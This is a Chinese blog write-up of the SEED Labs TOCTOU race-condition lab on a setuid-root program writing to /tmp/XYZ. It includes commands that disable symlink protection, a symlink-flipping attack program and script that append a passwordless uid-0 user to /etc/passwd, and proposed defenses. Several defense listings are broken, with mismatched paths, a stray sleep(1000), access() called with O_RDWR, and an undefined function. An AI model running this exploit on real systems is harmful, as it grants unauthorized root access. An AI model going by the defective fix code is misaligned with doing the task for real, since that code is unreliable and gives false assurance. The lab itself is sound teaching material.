[SEEDLab]竞态条件漏洞(Race Condition Vulnerability)

发布者:wx_堃
发布于:2021-06-19 10:32

1. 初始设置

Ubuntu10之后的系统修复了漏洞,需要禁用保护措施
对于12.04的系统,我们可以使用

1
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0

对于比较常见的16.04的系统,可以使用

1
sudo sysctl -w fs.protected_symlinks=0

2. 含有“竞态条件”漏洞的程序

下面的代码是含有“竞态条件”漏洞的 C 语言程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
int main()
{
 char * fn = "/tmp/XYZ";
 char buffer[60];
 FILE *fp;
 /* get user input */
 scanf("%50s", buffer );
 if(!access(fn, W_OK)){  ➀
     fp = fopen(fn, "a+");    ➁
     fwrite("\n", sizeof(char), 1, fp);
     fwrite(buffer, sizeof(char), strlen(buffer), fp);
     fclose(fp);
 }
 else printf("No permission \n");
}

➀和➁具有竞争条件漏洞。使用如下命令将其编译,然后set-uid

1
2
3
gcc vulp.c -o vulp
sudo chown root vulp
sudo chmod 4755 vulp

此时,我们得到一个 Set-UID 应用程序(拥有 root 权限);

程序将用户输入的字符串附加到临时文件“/tmp/XYZ”的末尾。由于代码以 root 权限运行,因此它会检查真实用户是否实际拥有文件“/tmp/XYZ”的访问权限;这就是调用 access()函数的目的。
程序一旦确保真正的用户确实有权限,程序将打开文件并将用户输入的字符串写入文件。
此程序中存在“竞态条件”漏洞:由于检查(access)和使用(fopen)之间的窗口,access 函数使用的文件可能与 fopen 函数使用的文件不同,即使它们具有相同的文件名“/tmp/XYZ”。
如果恶意攻击者可以以某种方式使“/tmp/XYZ”成为指向“/etc/shadow”的符号链接,则攻击者可以将用户输入追加到“/etc/shadow”中(请注意,程序以 root权限运行,因此可以覆盖任何文件)。

任务 1:利用“竞态条件”漏洞

有很多方法来利用 vulp.c 中的“竞态条件”漏洞。一种方法是使用该漏洞将一些信息附加到/etc/passwd 和/etc/shadow 文件尾。如攻击者可以向这两个文件添加信息,他们基本上有能力创建新用户,包括超级用户(通过让uid 为零)。

 

/etc/passwd文件里面存储了我们系统的用户和密码等等信息,我们查看其中的两条:

1
2
root:x:0:0:root:/root:/bin/bash
seed:x:1000:1000:seed,,,:/home/seed:/bin/bash

尽管passwd文件里面不会存储密文,但是程序依旧会解析密文,因而我们可以添加密文进入。可以使用perl的crypt函数,为了方便,我们可以使用空密码,运行:

1
perl -e 'print crypt("", "U6")."\n"'

得到"magic number":U6aMy0wojraho, crypt的第一个参数为明文,第二个为salt。
然后,我们可以创建这样一个条目:

1
test:U6aMy0wojraho:0:0:test:/root:/bin/bash

编写竞争程序attack_process.c:通过反复将/tmp/XYZ指向无root权限的/dev/null和有root权限的/etc/passwd。usleep(1000)降低反复执行的速率,逃避系统检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <unistd.h>
int main()
{
    while(1)
    {
        unlink("/tmp/XYZ");
        symlink("/dev/null","/tmp/XYZ");
        usleep(1000);
 
        unlink("/tmp/XYZ");
        symlink("/etc/passwd","/tmp/XYZ");
        usleep(1000);
    }
    return 0;
}
 
//编译命令:gcc -o attack_process attack_process.c

由于需要多次运行攻击和漏洞程序,因此编写shell脚本target_process.sh来自动执行攻击过程。使用重定向避免手动输入程序 vulp 的输入。
以下 shell 脚本检查/etc/passwd文件的时间戳是否已被修改。一旦发现变化,它会打印一条消息。其中,passwd_input的内容为:test:U6aMy0wojraho:0:0:test:/root:/bin/bash

1
2
3
4
5
6
7
8
9
10
#!/bin/bash
CHECK_FILE="ls -l /etc/passwd"
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
        ./vulp < passwd_input
        new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

执行target_process.sh脚本需要在命令行输入:

1
bash ./target_process.sh

我们一共需要运行两个进程,一个是我们的victim:vulp,另一个则是我们的adversary:attack_process,正常情况之下,victim将会正常进行,输出"No Permission",但是,在某个时间,可能发生如下情况:

  • /tmp/XYZ被attacker指向dev/null
  • victim运行到了access函数,因为/dev/null是全局可写(global writable),所以access判定为true;
  • 之后,attacker恰好将/tmp/XYZ指向了/etc/passwd;
  • victim执行了fopen,信息被写入etc/passwd,修改成功;

因而,我们可以得知相关几个相关文件的必须权限:

  • /tmp/XYZ:链接文件,我们必须可以读写此文件。如果你以root权限创建了链接,那么有可能会一直报"No Permission";
  • /dev/null: 欺骗access的文件,对此文件我们必须具有写权限
  • /etc/passwd,我们试图篡改的文件

Then use su test, and enjoy your shell!

任务 2:保护机制 A:重复调用

消除程序的“竞态条件”漏洞并不容易,因为程序需要“检查-使用”模式做一些必要的检查。为了增加“竞态条件”利用的难度,我们可以增加更多的竞赛条件,而不是消除“竞态条件”。攻击者想要达到自己的目的需要赢得所有这些“竞态条件”。如果这些竞争条件设计得当,我们可以成倍减少攻击者的获胜概率。基本思想是多次重复调用 access()和 open();在最后一次打开文件写入数据时,检查我们每次打开文件是否是同一个文件(它们应该是相同的)。

检查-使用-重复方式

在几个迭代内重复访问和打开。在下面的示例中,攻击者需要赢得五个竞态条件(1~2,2~3,3~4,4~5,5~6):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
 char * fn = "/tmp/XYZ";
 char buffer[60];
 FILE *fp;
 /* get user input */
 scanf("%50s", buffer );
if (access("tmp/XYZ", W_OK))
    goto error;
else
    fp = fopen(fn, "a+"); 
if (access("tmp/X", W_OK))
    goto error;
else
    fp = fopen(fn, "a+"); 
if (access("/tmp/XYZ", W_OK))
    goto error;
else
    fp = fopen(fn, "a+"); 
 
 if(!access(fn, W_OK)){ 
    sleep(1000);
     fp = fopen(fn, "a+");   
     fwrite("\n", sizeof(char), 1, fp);
     fwrite(buffer, sizeof(char), strlen(buffer), fp);
     fclose(fp);
 }
 else
 error:{
    printf("No permission \n");
 }
 return 0;
}
// Check whether f1, f2, and f3 has the same i-node (using fstat)

检查-使用-再检查方式

lstat(file, &result)可以获取文件状态。如果文件是个符号链接,它返回链接的状态(不是链接指向的文件)。在 TOCTOW 之前,我们可以使用它来检查文件状态。接着在间隔之后,执行另一个检查。如果结果不同,我们就检测到了竞态条件。让我们看看下面的解决方案:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/* vulp.c */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
int main()
{
 char * fn = "/tmp/XYZ";
 char buffer[60];
 FILE *fp;
 /* get user input */
 scanf("%50s", buffer );
 struct stat statBefore, statAfter;
 
 lstat(fn, &statBefore);
 
 if(!access(fn, W_OK)){    /* the real UID has access right */
    fp = fopen(fn, "a+"); 
    lstat("/tmp/X", &statAfter);
 
    if (statAfter.st_ino == statBefore.st_ino){ 
        /* the I-node is still the same */
     fwrite("\n", sizeof(char), 1, fp);
     fwrite(buffer, sizeof(char), strlen(buffer), fp);
 
    }
    else{
        perror("Race Condition Attacks!");
    }
    fclose(fp);
 }
 
 return 0;
}

但是,上面的解决方案不能工作(open和第二个`lstat之间存在竞态条件漏洞)。为了利用这个漏洞,攻击者需要执行另个静态条件攻击,第一个在第二行和第三行之间,另一个在第三行和第四行之间。虽然赢得两次竞争的可能性低于前面的情况,但还是可能的。

 

为了修复漏洞,我们打算在文件描述符f上使用lstat,而不是在文件名称上。虽然lstat不能这样做,但是fstat可以。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
int main()
{
    struct stat statBefore, statAfter;
 
    lstat("/tmp/X", &statBefore);
    if (!access("/tmp/X", O_RDWR))   /* the real UID has access right */
    {
        int f = open("/tmp/X", O_RDWR);
        fstat(f, &statAfter);
        if (statAfter.st_ino == statBefore.st_ino)
        { /* the I-node is still the same */
            write_to_file(f);
        }
        else perror("Race Condition Attacks!");
    }
    else fprintf(stderr, "Permission denied\n");
}

任务 3:保护机制 B:系统自带保护策略

Ubuntu 16.04 带有一个内置的防御“竞态条件”攻击的保护机制。
在此任务中,需要使用以下命令重新启用此保护:

1
sudo sysctl -w fs.protected_symlinks=1

至于这种保护措施的原理,我们可以在官方文档里面找到:
A long-standing class of security issues is the symlink-based time-of-check-time-of-use race, most commonly seen in world-writable directories like /tmp. The common method of exploitation of this flaw is to cross privilege boundaries when following a given symlink (i.e. a root process follows a symlink belonging to another user). For a likely incomplete list of hundreds of examples across the years, please see: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp
When set to “0”, symlink following behavior is unrestricted.
When set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.
This protection is based on the restrictions in Openwall and grsecurity.

任务 4:保护机制 C:使用最小特权原则

在使用access和open的程序中,我们知道open比我们想要的更加强大(它只检查有效 UID),这就是我们需要使用access来确保我们没有滥用权限的原因。我们从竞态条件攻击中得到的启示,就是这种检查不是始终可靠。

 

另一个防止程序滥用权限的方法,就是不要给予程序权限。这就是最小权限原则的本质:如果我们暂时不需要这个权限,我们应该禁用他。如果我们永远都不需要这个权限,我们应该移除它。没有了权限,即使程序犯了一些错误,损失也会降低。

 

在 Unix 中,我们可以使用seteuid或者setuid系统调用,来开启、禁用或删除权限。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/* vulp.c fixed with least privilege principle */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main(){
    char * fn = "/tmp/XYZ";
     char buffer[60];
     FILE *fp;
 
    uid_t real_uid = getuid();
    uid_t eff_uid = geteuid();
    seteuid(real_uid);
 
    /* get user input */
    scanf("%50s", buffer );
 
    if(!access(fn, W_OK)){
        usleep(1000);
        fp = fopen(fn, "a+");
        fwrite("\n", sizeof(char), 1, fp);
        fwrite(buffer, sizeof(char), strlen(buffer), fp);
        fclose(fp);
    }
    else
        printf("No permission \n");
    seteuid(eff_uid);
    return 0;
}

声明:该文观点仅代表作者本人,转载请注明来自看雪